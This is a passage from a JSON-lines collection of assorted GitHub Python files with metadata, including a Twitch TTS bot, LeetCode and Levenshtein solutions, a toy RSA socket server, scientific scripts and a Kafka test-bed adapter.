tts_custom_reward_id, winX, winY, idle_image, open_image, tts_engine.getProperty(\"voice\"))\n    \nif False: \n    if config != None: config.close()\n    config = open(\"./default.cfg\",mode = \"w\")\n    config.writelines(\"\"\"channel = |your channel's name|\nbot_user_name = |your bot's name|\nbot_login_token = |bot token|\n\ntts_custom_reward_id = |your tts reward id, you can find to by redeeming your tts, and reading it from the terminal|\nforce_tts_prefix = §\nforce_tts_allow_mod = True\nforce_tts_allow_vip = True //does not work yet\nforce_tts_allow_all = False\n\nwinX = 160\nwinY = 160\n\nidle_image = .\\idle.png\nopen_image = .\\open.png\n\nvoice_id = 0\nvolume = 0.75\nwords_per_minute = 300\"\"\")\n    config.close()\n    sys.exit(\"broken config file, please fix, if you don't know what to do read the readme or go to github.com/CatEyedLin/Doggo-TTS-Point-Rewarder\")\n\nbot = TwitchBot(bot_user_name, bot_login_token, channel)\nbot_thread = threading.Thread(target=bot.start,daemon=True)\nbot_thread.start()\n\nspea_thread = threading.Thread(target=speach_thread,daemon=True)\nspea_thread.start()\npygame_start()\n","repo_name":"CatEyedLin/doggo-tts-point-rewarder","sub_path":"doggo tts point rewarder.py","file_name":"doggo tts point rewarder.py","file_ext":"py","file_size_in_byte":6783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15605482494","text":"class Solution:\n    # O(n) time | O(n) space - where n is the length of the input array\n    def findPairs(self, nums: List[int], k: int) -> int:\n        count, result = {}, 0\n        for num in nums:\n            count[num] = count.get(num, 0) + 1\n        \n        for num in count:\n            if (k == 0 and count[num] > 1) or (k > 0 and num + k in count):\n                result += 1\n        return result\n    ","repo_name":"weilincheng/LeetCode-practice","sub_path":"hashTable/532_k_diff_pairs_in_an_array.py","file_name":"532_k_diff_pairs_in_an_array.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22152189207","text":"from BeautifulSoup import BeautifulSoup\nimport re, string, codecs, os\nimport nltk\nfrom nltk import tokenize\nfrom nltk.tokenize import RegexpTokenizer\n\ntokenizer = RegexpTokenizer(r'\\w+')\nnbThreads = 8270\n\ndef main():\n    counter = 0\n    listing = os.listdir('dataset/Entity_grid_threads')\n    writer_train = open (\"list.sample\", \"w\")\n    writer_test = open (\"list.sample.test\", \"w\")\n    writer_dev = open (\"list.sample.dev\", \"w\")\n    \n    for l in listing:\n        if counter < 0.7 * nbThreads:\n            writer_train.write(\"./dataset/Entity_grid_threads/\" + l + \"\\n\")\n        if counter < 0.7 * nbThreads + 0.2 * nbThreads and counter >= 0.7 * nbThreads:\n            writer_test.write(\"./dataset/Entity_grid_threads/\" + l + \"\\n\")\n        if counter < 0.7 * nbThreads + 0.2 * nbThreads + 0.1 * nbThreads and counter >= 0.7 * nbThreads + 0.2 * nbThreads:\n            writer_dev.write(\"./dataset/Entity_grid_threads/\" + l + \"\\n\")\n            \n        counter += 1\n    \n    writer_train.close()\n    writer_test.close()\n    writer_dev.close()\n        \nif __name__=='__main__':\n    main()","repo_name":"datnt88/email_coherence","sub_path":"utilities/fill_files.py","file_name":"fill_files.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33640990997","text":"\nimport re\n\n# Removes invalid charaters for ISY Node description\ndef get_valid_node_name(name):\n    # Only allow utf-8 characters\n    #  https://stackoverflow.com/questions/26541968/delete-every-non-utf-8-symbols-froms-string\n    name = bytes(name, 'utf-8').decode('utf-8','ignore')\n    # Remove <>`~!@#$%^&*(){}[]?/\\;:\"'` characters from name\n    return re.sub(r\"[<>`~!@#$%^&*(){}[\\]?/\\\\;:\\\"']+\", \"\", name.lower()[:14])\n\ndef get_profile_info(logger):\n    pvf = 'profile/version.txt'\n    try:\n        with open(pvf) as f:\n            pv = f.read().replace('\\n', '')\n            f.close()\n    except Exception as err:\n        logger.error('get_profile_info: failed to read  file {0}: {1}'.format(pvf,err), exc_info=True)\n        pv = 0\n    return { 'version': pv }\n","repo_name":"UniversalDevicesInc-PG3/udi-poly-airscape","sub_path":"node_funcs.py","file_name":"node_funcs.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8012510960","text":"import multiprocessing as mp\nimport subprocess\nimport itertools\nimport sys,time,os\n\nclass task(object):\n    def __init__(self,prog,**kwargs):\n        self.base = prog\n        self.params = kwargs\n        \n    def get_cmd(self):\n        cmd = [self.base]\n        for (k,v) in self.params.items():\n            if 1 == len(k):\n                cmd.append('-{0}{1}'.format(k,v))\n            else:\n                cmd.append('--{0} {1}'.format(k,v))\n    \n        return ' '.join(cmd)\n    \n    def run(self):\n        fnull = open(os.devnull,'w')\n        return subprocess.call(self.get_cmd(),\n                               stdout=fnull,\n                               stderr=subprocess.STDOUT,\n                               shell=True,)\n\ndef build_task_queue(tgf,params,settings):\n    P = len(params)\n    queue = []\n    for (I,setting) in enumerate(settings):\n        queue.append(tgf(I,**dict(zip(params,setting))))\n    return queue\n    \ndef build_grid_task_queue(tgf,**kwargs):\n    # tgf = task generating function\n    params = kwargs.keys()\n    queue = []\n    for (I,x) in enumerate(itertools.product(*kwargs.values())):\n        queue.append(tgf(I,**dict(zip(params,x))))\n    return queue\n\ndef task_processer(T):\n    assert isinstance(T,task)\n    return T.run()\n\ndef run_task_queue(queue,cores):\n    pool = mp.Pool(cores)\n    N = len(queue)\n    for (i,res) in enumerate(pool.imap_unordered(task_processer,queue)):\n        sys.stderr.write('\\rFinished {0} tasks ({1:.1f}%)'.format(i+1,100.0*float(i+1)/float(N)))\n    print\n\n\n","repo_name":"order/lcp-research","sub_path":"utils/multi_core.py","file_name":"multi_core.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"25350386624","text":"import networkx as nx\nimport matplotlib.pyplot as plt\nimport csv\n\nk = 8\nm = k/2\ncore = m ** 2\nG = nx.Graph()\nPos = {}\nswitchPos = {}\nprint(range(k))\nfor i in range(k):\n    if(i==0):\n        Pos.update( {\n            str(i):(5, 2),\n            str((i+1)):(13,2),\n            str((i+2)):(21,2),\n            str((i+3)):(29,2),\n            str((i+4)):(5,4),\n            str((i+5)):(13,4),\n            str((i+6)):(21,4),\n            str((i+7)):(29,4)\n\n            })\n    else:\n        Pos.update( {\n            str(8*i):(5+(i*34), 2),\n            str(1+i*8):(13+i*34,2),\n            str((2)+i*8):(21+i*34,2),\n            str((3)+i*8):(29+i*34,2),\n            str((4)+i*8):(5+i*34,4),\n            str((5)+i*8):(13+i*34,4),\n            str((6)+8*i):(21+i*34,4),\n            str((7)+i*8):(29+i*34,4)\n\n            })\n\n\nfor i in range(int(core)):\n    Pos.update({\n        str(64+i):(76+8*i, 5)\n        })\n\nfor i in range(k):\n    for j in range(int(m)):\n        Pos.update({\n            str(80+16*i+4*j):(2+8*j+34*i, 1),\n            str(81+16*i+4*j):(4+8*j+34*i, 1),\n            str(82+16*i+4*j):(6+8*j+34*i, 1),\n            str(83+16*i+4*j):(8+8*j+34*i, 1),\n            })\n#Add the nodes to the graph\nG.add_nodes_from(Pos.keys())\n\nfor i in range(k):\n    for j in range(int(m)):\n        G.add_edges_from([\n            (str(8*i+j),str((4)+i*8)),       \n            (str(8*i+j),str((5)+i*8)),      \n            (str(8*i+j),str((6)+i*8)),       \n            (str(8*i+j),str((7)+i*8))       \n\n            ])\nfor j in range(k):\n    for i in range(int(m)):\n        G.add_edges_from([\n            (str(8*j+i+4),str(64+i*4)),\n            (str(8*j+i+4),str(65+i*4)),\n            (str(8*j+i+4),str(66+i*4)), \n            (str(8*j+i+4),str(67+i*4)) \n\n            ])\n\nfor i in range(k):\n    for j in range(int(m)):\n        G.add_edges_from([\n            (str(i*8+j),(str(80+i*16+4*j))),       \n            (str(i*8+j),(str(81+i*16+4*j))),       \n            (str(i*8+j),(str(82+i*16+4*j))),       \n            (str(i*8+j),(str(83+i*16+4*j)))       \n            ])\n\nprint(Pos)\n\nserver_color = []\nswitch_color = []\n\nwith open('log/whichFiles.txt')as csvDataFile:\n    csvReader = csv.reader(csvDataFile)\n    for row in csvReader:\n        whichFile = row[5]\n\nwhichFile = \"log/\"+whichFile\nline=0\nwith open(whichFile) as csvDataFile:\n    csvReader=csv.reader(csvDataFile)\n    for row in csvReader:\n        if line == 1:\n            for x in range(len(row)-1):\n                switch_color.append(float(row[x]))\n        if line == 2:\n            for x in range(len(row)-1):\n                server_color.append(float(row[x]))\n        line = line+1\n\nprint(switch_color)\nprint(server_color)\nprint(len(switch_color+server_color))\n\n\n\n#Add the edges between the nodes\n#G.add_edges_from([(\"A\",\"C\"),(\"A\",\"D\"),(\"B\",\"C\"),(\"B\",\"D\"),(\"C\",\"E\"),(\"C\",\"F\"),(\"D\",\"G\"),(\"D\",\"H\")])\n\n#Draw and plot the graph\nnodes = nx.draw_networkx_nodes(G, with_labels = True, pos=Pos, node_color=switch_color+server_color, cmap = plt.cm.RdYlGn, node_size=80 )\nnx.draw_networkx(G, with_labels = True, pos=Pos, node_size=80, node_color=switch_color+server_color, cmap = plt.cm.RdYlGn, font_size=8)\n#cbar = plt.colorbar(nodes)\ncbar = plt.colorbar(nodes)\nplt.savefig(\"graphs/topo_graph_1.png\")\nplt.show()\n","repo_name":"HolDCSim/HolDCSim","sub_path":"visualizer/pyscripts/topo_8.py","file_name":"topo_8.py","file_ext":"py","file_size_in_byte":3238,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"41485047139","text":"import socket\nimport class_rsa as rsa \n\n\ndef criandoServidor(n,e,d):    \n  HOST = socket.gethostname()      # Endereco IP do Servidor\n  PORT = 5000            # Porta que o Servidor esta\n  servidor_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n  orig = (HOST, PORT)\n  servidor_tcp.bind(orig)\n  servidor_tcp.listen(1)  \n  con, cliente = servidor_tcp.accept()\n  print ('Concetado por:', cliente)\n  con.send((str(n)+\" \"+str(e)).encode())\n  msg = ''\n  print(\"agardando dados do cliente:\")\n  while msg != '0':    \n      msg = con.recv(1024).decode()\n      msg = rsa.descifra(msg.split(\" \"),n,d)\n      if not msg: break\n      print(cliente, msg) \n  print('Finalizando conexao do cliente', cliente) \n  con.close()\n\n\nprint(\"-------------------Bem vindo----------------\")\np = int(input(\"digite um valor para P:\")) \nq = int(input(\"digite um valor para Q:\"))\nn = p*q\nx = rsa.totient(p)\ny = rsa.totient(q)\ntotient_de_N = x*y\ne = rsa.generate_E(totient_de_N) # generate E\npublic_key = (n, e)\nprint(\"sua chave pubica é:\",public_key)\nprivate_key = rsa.calculate_private_key(totient_de_N,e)\nprint('sua chave privada é:', private_key)\n\ncriandoServidor(n,e,private_key)","repo_name":"hellyaxs/algoritmo_RSA_python","sub_path":"servidor.py","file_name":"servidor.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"25282585250","text":"import typing as t\n\nimport numpy as np\n\nfrom . import base\n\n\nclass _AddNoiseBase(base.BaseLayer):\n    def __init__(\n        self,\n        noise_shape: t.Optional[t.Tuple[int, ...]] = None,\n        disable_when_frozen: bool = True,\n    ):\n        super(_AddNoiseBase, self).__init__()\n\n        self.add = base.Add()\n        self.register_layers(self.add)\n        self.disable_when_frozen = bool(disable_when_frozen)\n        self.noise_func = None\n\n        self.noise_shape = noise_shape\n\n        if self.noise_shape is not None:\n            self.noise_shape = tuple(self.noise_shape)\n\n    def forward(self, X):\n        if self.frozen and self.disable_when_frozen:\n            return X\n\n        noise_shape = self.noise_shape if self.noise_shape else X.shape\n        noise = self.noise_func(noise_shape)\n        out = self.add(X, noise)\n        return out\n\n    def backward(self, dout):\n        dX, _ = self.add.backward(dout)\n        return dX\n\n\nclass AddNoiseGaussian(_AddNoiseBase):\n    def __init__(\n        self,\n        mean: float = 0.0,\n        std: float = 1.0,\n        noise_shape: t.Optional[t.Tuple[int, ...]] = None,\n        disable_when_frozen: bool = True,\n        decay_std_max_iter: t.Optional[int] = None,\n        decay_std_min: float = 0.0,\n    ):\n        assert float(std) >= 0.0\n        assert 0.0 <= float(decay_std_min) <= float(std)\n\n        super(AddNoiseGaussian, self).__init__(\n            noise_shape=noise_shape, disable_when_frozen=disable_when_frozen\n        )\n\n        self.mean = float(mean)\n        self.std = self.std_init = float(std)\n        self.std_min = float(decay_std_min)\n\n        self.D = decay_std_max_iter\n        self.d = 0\n\n        if self.D is not None:\n            self.D = int(self.D)\n\n        def noise_func(noise_shape):\n            if self.D is not None and self.d < self.D:\n                self.d += 1\n                decay_factor = (self.D - self.d) / (self.D - self.std_init * self.d)\n                self.std = self.std_min + (self.std_init - self.std_min) * decay_factor\n\n            return np.random.normal(loc=self.mean, scale=self.std, size=noise_shape)\n\n        self.noise_func = noise_func\n\n\nclass AddNoiseUniform(_AddNoiseBase):\n    def __init__(\n        self,\n        low: float = 0.0,\n        high: float = 1.0,\n        noise_shape: t.Optional[t.Tuple[int, ...]] = None,\n        disable_when_frozen: bool = True,\n    ):\n        assert float(high) >= float(low)\n\n        super(AddNoiseUniform, self).__init__(\n            noise_shape=noise_shape, disable_when_frozen=disable_when_frozen\n        )\n\n        self.low = float(low)\n        self.high = float(high)\n\n        def noise_func(noise_shape):\n            return np.random.uniform(low=self.low, high=self.high, size=noise_shape)\n\n        self.noise_func = noise_func\n\n\nclass SampleGaussianNoise(base.BaseLayer):\n    def __init__(self, mean: t.Optional[int] = None, std: t.Optional[int] = None):\n        assert std is None or float(std) >= 0\n        super(SampleGaussianNoise, self).__init__()\n\n        self.mean = float(mean) if mean is not None else None\n        self.std = float(std) if std is not None else None\n\n        self.multiply = base.Multiply()\n        self.add = base.Add()\n\n        self.register_layers(self.multiply, self.add)\n\n    def __call__(\n        self,\n        shape: t.Tuple[int, ...],\n        mean: t.Optional[int] = None,\n        std: t.Optional[int] = None,\n    ):\n        return self.forward(shape, mean, std)\n\n    def forward(\n        self,\n        shape: t.Tuple[int, ...],\n        mean: t.Optional[int] = None,\n        std: t.Optional[int] = None,\n    ):\n        if mean is None:\n            assert self.mean is not None\n            mean = self.mean\n\n        if std is None:\n            assert self.std is not None\n            std = self.std\n\n        noise = np.random.randn(shape)\n        noise = self.multiply(noise, std)\n        noise = self.add(noise, mean)\n        return noise\n\n    def backward(self, dout):\n        dout, dmean = self.add.backward(dout)\n        _, dstd = self.multiply.backward(dout)\n        return dmean, dstd\n","repo_name":"FelSiq/machine-learning-learning","sub_path":"deep-learning-algorithm-implementation/from-scratch/modules/random.py","file_name":"random.py","file_ext":"py","file_size_in_byte":4082,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"}
+{"seq_id":"43664915447","text":"import torch\n\nclass FeatureFirstOrderUtility:\n    def __init__(self, network, criterion):\n        self.criterion = criterion\n        self.network = network\n        self.name = 'fo_utility'\n        \n    def compute_utility(self):\n        with torch.no_grad():\n            fo_utility_net = []\n            for name, p in  self.network.named_parameters():\n                if 'gate' in name:\n                    fo_utility = - p.data * p.grad\n                    fo_utility_net.append(fo_utility)\n            return fo_utility_net  \n","repo_name":"mohmdelsayed/upgd","sub_path":"core/utilities/feature/fo_utility.py","file_name":"fo_utility.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"12906156178","text":"import os\n\nimport pandas as pd\nimport typing\nfrom Bio import SeqIO\n\nfrom utils import dir_utils\n\n\nclass Gene:\n\n    def __init__(self, organism, gene_name, get_info=False, new_organism=False):\n\n        organism_dirs = dir_utils.OrganismDirs(organism, new_organism)\n        self.organism = organism\n        self.name = format_gene_name(gene_name)\n        self.fasta_file = os.path.join(organism_dirs.gene_folder, f\"{self.name}.fasta\")\n        self.txt_file = os.path.join(organism_dirs.gene_info_folder, f\"{self.name}.txt\")\n\n        record = list(SeqIO.parse(self.fasta_file, \"fasta\"))\n        self.nuc_sequence = record[0].seq\n        self.description = format_description(record[0].description)\n        self.length = len(self.nuc_sequence)\n        self.upper_length = int(self.length * 1.10)\n        self.lower_length = int(self.length * 0.90)\n        self.function_data = \"\"\n        self.match_list = []\n\n        if get_info:\n            gene_info = pd.read_csv(self.txt_file, error_bad_lines=False)\n            gene_data = list(gene_info.iloc[:, 1])\n            self.location = gene_data[2]\n            self.type_data = gene_data[1]\n            self.start = gene_data[3]\n            self.stop = gene_data[4]\n            self.strand = gene_data[5]\n            self.function_data = gene_data[6]\n            self.aliases = gene_data[7]\n            self.figfam = gene_data[8]\n            self.evidence_codes = gene_data[9]\n            self.aa_sequence = gene_data[11]\n\n\ndef format_gene_name(gene_name):\n    if \".fasta\" in gene_name:\n        name = gene_name.replace(\".fasta\", \"\")\n    else:\n        name = gene_name\n\n    return name\n\n\ndef get_organisms_from_list_of_genes(gene_list: typing.List[Gene]) -> list:\n    organisms = []\n    for gene in gene_list:\n        organisms.append(gene.organism)\n    return organisms\n\n\ndef get_genes_from_list(organism: str, list_of_genes_names: list, remove_hypothetical: bool = False) -> list:\n    genes = []\n    for organism_gene in list_of_genes_names:\n        gene = Gene(organism, organism_gene, get_info=False)\n        if remove_hypothetical:\n            if \"hypothetical\" in gene.description:\n                continue\n\n        genes.append(gene)\n\n    return genes\n\n\ndef format_description(description):\n    if \".1 [\" in description:\n        description = description.split(\" [\")[1]\n    else:\n        description = description.split(\" [\")[0]\n    if \"MULTISPECIES: \" in description:\n        description = description.split(\"MULTISPECIES: \")[1]\n    elif \".1 \" in description:\n        description = description.split(\".1 \")[1]\n    return description\n\n\ndef check_if_unique(res_gene: Gene, sus_organisms: list) -> bool:\n    from models import blast\n\n    for sus_organism in sus_organisms:\n        sus_blast_data = blast.blast(res_gene, sus_organism)\n        if sus_blast_data:\n            if sus_blast_data.is_perfect_match:\n                return False\n\n    return True\n","repo_name":"Kashyap98/antibiotic_resistance","sub_path":"models/gene.py","file_name":"gene.py","file_ext":"py","file_size_in_byte":2904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72473382270","text":"import numpy as np\nimport iterative_sol \nfrom gen_var import t_static, dt, t, F0, e, epsilon0, dr, pel_pot, pel_dens_numb, r0\nfrom electron import RME, M_fac\nimport stop_calc_rp_rc \nimport discret_mat\nimport interpolate_limits\nimport scipy.integrate as spint\nimport matplotlib.pyplot as plt\nimport os\n\nrp = stop_calc_rp_rc.calc_rp(t)\nrp_static = rp[t_static]\nrc = stop_calc_rp_rc.calc_rc(t)\nrc_static = rc[t_static]\n\nnumber = F0*np.pi*dt*(rp_static**2)*10**(-9)\n#assume that all occurs inside a cylinder of radius rp_static\nreal_e_dens = number/((np.pi*(rp_static*10**(-3))**2)*(rc_static-rp_static)*10**(-3)) # as a number density\n\n\"can now make a calculation of the potential field in this domain\"\nmydir = './static_outputs_phi' \nmydir = os.path.join(os.getcwd(), 'static_outputs_phi') + os.sep\np = 0\nd_file = np.loadtxt(mydir+'/real_density_t'+str(t_static) +'pot'+str(pel_pot[p])+'.txt')\n\ndens, cloud_r = interpolate_limits.interpol(d_file)\n\n\"\"\"Some tests to be performed first\n1) Sum the inteprolated density via simpsons acorss cloud - check\nthis equals the value found by the same process on the original\n2)Calculate the actual number density from number of electrons\nin cylinder and integrate via simpsons to confirm fractino of total \nnumber is equal to previous calculation\"\"\"\n\ncheck1 = spint.simps(d_file[:,0],d_file[:,1])\ncheck2 = spint.simps(dens,cloud_r)\n\n#Now try to determine the actual number density\nactual_dens = dens*number \n\n#do a conservation test here\ncheck3 = spint.simps(actual_dens,cloud_r)\ncheck4 = check2*number\n\nactual_dens /= (dr*np.pi*rp_static**2)\nactual_dens /= 10**(-9) \n\nphi = np.zeros(len(cloud_r))\nA = discret_mat.discret(cloud_r)\nK = 1.0/(pel_dens_numb*RME*M_fac)\ninp = K*actual_dens/epsilon0\n#now to normalise RHS of equation so that output is correct.\nphi = iterative_sol.SOR(A,phi,inp ,cloud_r)\n\n#Now we can test to see if the solver is right or not\ncheck_again = np.dot(A,phi)\ncheck_again /= dr**2\n\nfig, ax  = plt.subplots()\nax.plot(cloud_r, phi, label = 'potential')\nax2 = ax.twinx() \nax2.plot(cloud_r, inp)\nplt.show()\nprint('Did we do it?')","repo_name":"fkmart/Pellet-Ablation","sub_path":"potential_solver_t_static.py","file_name":"potential_solver_t_static.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31049496016","text":"\"\"\"\r\nIn information theory, linguistics and computer science, the Levenshtein distance is a string metric for measuring the\r\ndifference between two sequences. Informally, the Levenshtein distance between two words is the minimum number of\r\nsingle-character edits (insertions, deletions or substitutions) required to change one word into the other.\r\nIt is named after the Soviet mathematician Vladimir Levenshtein, who considered this distance in 1965.[1]\r\n\r\nLevenshtein distance may also be referred to as edit distance, although that term may also denote a larger family of\r\ndistance metrics known collectively as edit distance.[2]:32 It is closely related to pairwise string alignments.\r\n\r\n(source: wikipedia)\r\nAnd this webpage helped me a lot: https://medium.com/@ethannam/understanding-the-levenshtein-distance-equation-for-beginners-c4285a5604f0\r\n\"\"\"\r\nimport pprint\r\n\r\n\r\ndef lev_distance(i, j, matrix, a, b, noted):\r\n    if [i, j] in noted:\r\n        return matrix[i][j]\r\n    else:\r\n        noted.append([i, j])\r\n        if min(i, j) != 0:\r\n            x = lev_distance(i - 1, j, matrix, a, b, noted) + 1\r\n            y = lev_distance(i, j - 1, matrix, a, b, noted) + 1\r\n            conditional_addition = (1 if a[i - 1] != b[j - 1] else 0)\r\n            z = lev_distance(i - 1, j - 1, matrix, a, b, noted) + conditional_addition\r\n            value = min(x, y, z)\r\n            matrix[i][j] = value\r\n            return value\r\n        else:\r\n            value = max(i, j)\r\n            matrix[i][j] = value\r\n            return value\r\n\r\n\r\ndef LevenshteinDistance(m, n, a, b, matrix, noted, print_perm):\r\n    for i in range(1, m + 1):\r\n        for j in range(1, n + 1):\r\n            value = lev_distance(i, j, matrix, a, b, noted)\r\n            if print_perm:\r\n                print(f\"value for lev({i},{j})={value}.\")\r\n            matrix[i][j] = value\r\n    if print_perm:\r\n        print('Final Matrix:')\r\n        pprint.PrettyPrinter(indent=5).pprint(matrix)\r\n    return matrix[m][n]\r\n\r\n\r\ndef generate_matrix(m, n,print_perm):\r\n    matrix = []\r\n    for i in range(m):\r\n        temp = []\r\n        for j in range(n):\r\n            temp.append(0)\r\n        matrix.append(temp)\r\n    if print_perm:\r\n        print(\"Matrix generated...\")\r\n        pprint.PrettyPrinter(indent=5).pprint(matrix)\r\n    return matrix\r\n\r\n\r\nif __name__ == '__main__':\r\n    a = input('Word-1:')\r\n    b = input('Word-2:')\r\n    m, n = len(a), len(b)\r\n    # res = input(\"Want to see the steps:(y/n)\")\r\n    res = 'n'\r\n    if res.lower().startswith('y'):\r\n        print_perm = True\r\n    else:\r\n        print_perm = False\r\n    matrix = generate_matrix(m + 1, n + 1,print_perm)\r\n    distance = LevenshteinDistance(m, n, a, b, matrix, [], print_perm=print_perm)\r\n    print(f\"Word's Levenshtein Distance={distance}\")\r\n","repo_name":"Tuhin-thinks/Python-Codes","sub_path":"Others/Levenshtein_distance.py","file_name":"Levenshtein_distance.py","file_ext":"py","file_size_in_byte":2774,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"60"}
+{"seq_id":"11891073846","text":"from random import randint\nimport time\nimport threading\n#1836141229362619 = \"i eat pi\"\n#1836141229362619361229362334361725312814 = \"i eat pi at my house\"\n\n#test = \"183614\"\n#start_time = time.time()\ndef stuff():\n    test = \"1836141229362619361229362334361725312814\"\n\n    foundWord = 0\n    wordLength = 20\n    #word = \"\"\n    while(foundWord != 1):\n         #start_time = time.time()\n         threads = 0\n         threads = t.enumerate()\n         print(threads)\n         word = \"\"\n         for j in range(0, wordLength):\n            word = word+str(randint(10,36))\n            #print(word)\n            \n         if test == word:\n            return '1'\n            foundWord = 1\n            t.daemon=False                  #change daemon to false to kill threads when it finds the word\n            #print(total_time)\n            \n#stuff()\nstart_time = time.time()\n\nthreads = []\nfor i in range(4):                          #basically creating a thread pool of size 4 for now\n    t = threading.Thread(target = stuff)    #start threads doing the function\n    threads.append(t)                       #append the threads to create the number of threads\n    t.daemon = True                         #set a daemon to true because otherwise it won't stop the threads\n    t.start()                               #set the threads on\n    \nprint(\"!-> Stuff Happened\")\n    #run = 0\n    #total = (total)*1458\n#print(\"hi\")\nfinish_time = time.time()\ntotal_time = finish_time - start_time\nif total_time < 60:\n    print(\"It took: \" + str(total_time) + \" seconds.\")\nelif total_time < 3600:\n    total_time = total_time / 60\n    print(\"It took: \" + str(total_time) + \" minutes\")\nelif total_time < 86400:\n    total_time = total_time / 3600\n    print(\"It took: \" + str(total_time) + \" hours\")\nelse:\n    total_time = total_time / 86400\n    print(\"It took: \" + str(total_time) + \" days\")\nfound_it = \"We finished             <<<\"\nprint(found_it)","repo_name":"bbluebaugh/Parallel_Distributed","sub_path":"monkeys_threaded.py","file_name":"monkeys_threaded.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"27376225697","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\ndef head(n):\n    with open(\"data/hightemp.txt\") as f:\n        for i, line in enumerate(f):\n            if i >= n:\n                break\n            print(line.rstrip())\n\n\nhead(3)\n","repo_name":"yagays/nlp100","sub_path":"chp02/14.py","file_name":"14.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31355101539","text":"# rework to just bring tiles down\n\n\ndef apply_gravity(board):\n    \"\"\"\n    Returns (new_board, tiles_moved)\n\n    Where:\n\n      - `new_board` is the board with gravity having been applied\n\n      - `tiles_moved` is a sorted list of ((old_row, old_col), (new_row,\n        new_col)) tuples for each tile in new_board which was in a different\n        square in the original board.\n    \"\"\"\n    board = board.copy()\n    moved = dict()\n\n    # start from the bottom, then we only have to move once--look above until\n    # non-empty, if ever, and swap\n    for row, col in board.squares_from_bottom_right():\n        if board.at(row, col).is_empty():\n            for r in reversed(range(row)):\n                if not board.at(r, col).is_empty():\n                    board.swap(row, col, r, col)\n                    moved[(r, col)] = (row, col)\n                    break\n\n    return board, sorted(list(moved.items()))\n","repo_name":"tomheon/hazardchamber","sub_path":"gravity.py","file_name":"gravity.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"882692695","text":"from .utils.event_hook import EventHook\nfrom .options.test_bed_options import TestBedOptions\nfrom .kafka.consumer_manager import ConsumerManager\nfrom .kafka.producer_manager import ProducerManager\nfrom .registry.schema_registry import SchemaRegistry\nfrom .registry.schema_publisher import SchemaPublisher\nfrom .kafka.heartbeat_manager import HeartbeatManager\nfrom .services.time_service import TimeService\nfrom pykafka.connection import SslConfig\nimport logging\n\n\nclass TestBedAdapter:\n    def __init__(self, test_bed_options: TestBedOptions):\n\n        self.test_bed_options = test_bed_options\n        self.schema_registry = SchemaRegistry(test_bed_options)\n        self.schema_publisher = SchemaPublisher(test_bed_options)\n        self.default_producer_topics = [\"system_heartbeat\"]\n        self.default_consumer_topics = [\"system_timing\"]\n        self.consumer_managers = {}\n        self.producer_managers = {}\n        self.connected = False\n        self.heartbeat_manager: HeartbeatManager = None\n        self.time_service: TimeService = None\n\n        # If we are using ssl we create the ssl config object\n        if self.test_bed_options.use_ssl:\n            self.ssl_config = SslConfig(self.test_bed_options.ca_file, self.test_bed_options.cert_file,\n                                        self.test_bed_options.key_file, self.test_bed_options.password_private_key)\n        else:\n            self.ssl_config = None\n\n        # We set up the handlers for the events\n        self.on_ready = EventHook()\n        self.on_message = EventHook()\n        self.on_sent = EventHook()\n        self.on_error = EventHook()\n\n    def initialize(self):\n        logging.info(\"Initializing test bed\")\n        self.schema_publisher.start_process()\n        self.schema_registry.start_process()\n        self.init_consumers()\n        self.init_producers()\n        self.init_and_start_heartbeat()\n        self.init_services()\n        self.connected = True\n\n        # We emit here by firing the on ready observable.\n        self.on_ready.fire()\n\n    def init_consumers(self):\n        # Make sure default topics are considered, avoid duplicates\n        self.test_bed_options.consume = list(set(self.test_bed_options.consume + self.default_consumer_topics))\n\n        # Instantiate one consumer manager for each topic\n        for topic_name in self.test_bed_options.consume:\n            if topic_name in list(self.schema_registry.values_schema.keys()):\n                avro_helper_key = self.schema_registry.keys_schema[topic_name][\"avro_helper\"]\n                avro_helper_value = self.schema_registry.values_schema[topic_name][\"avro_helper\"]\n\n                # We create a new consumer for this topic. The last input is the callback\n                # where we handle the message received and decoded from kafka.\n                manager = ConsumerManager(bytes(topic_name, 'utf-8'),\n                                          self.test_bed_options.kafka_host,\n                                          self.test_bed_options.exclude_internal_topics,\n                                          self.test_bed_options.reset_offset_on_start,\n                                          self.test_bed_options.offset_type,\n                                          self.test_bed_options.client_id,\n                                          avro_helper_key,\n                                          avro_helper_value,\n                                          self.handle_message,\n                                          self.ssl_config)\n                self.consumer_managers[topic_name] = manager\n                logging.info(\"Initialized kafka consumer manager for topic \" + topic_name)\n            else:\n                logging.error(\"No schema found for topic \" + topic_name)\n\n    def init_producers(self):\n        # Make sure default topics are considered, avoid duplicates\n        self.test_bed_options.produce = 